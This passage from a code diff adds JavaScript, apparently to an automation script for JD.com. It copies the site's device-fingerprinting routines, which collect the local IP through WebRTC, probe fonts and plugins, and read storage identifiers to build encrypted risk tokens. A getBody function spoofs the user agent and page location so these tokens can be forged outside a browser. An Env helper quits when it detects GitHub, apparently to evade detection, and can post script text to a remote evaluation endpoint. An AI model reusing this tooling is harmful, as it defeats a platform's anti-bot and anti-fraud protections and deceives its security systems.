x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} + +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", + _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", + _url_query_str = "", + _root_domain = "", + _CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) { + } + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) + }(), + jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } + }() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { + } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { + } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { + } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { + } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { + }, function () { + }) + }, function () { + }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { + } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { + } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { + } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { + } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { + } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { + } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { + } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { + } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { + } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { + } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { + } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { + }, + function (k, g) { + }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { + }, + function (k, g) { + }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { + }) + }) + } + _fingerprint_step = "n" + } catch (r) { + } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { + } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { + } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { + } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { + } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { + } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { + } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { + } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { + } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { + } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { + } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { + } + try { + this.db(n, _JdEid) + } catch (f) { + } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { + } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { + } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { + } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { + } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { + } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { + } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { + } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { + } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { + } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { + } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { + }) + } catch (k) { + } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { + } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { + } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { + } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return {a: x, d: t} +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return {fp, ...arr} +} + + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = 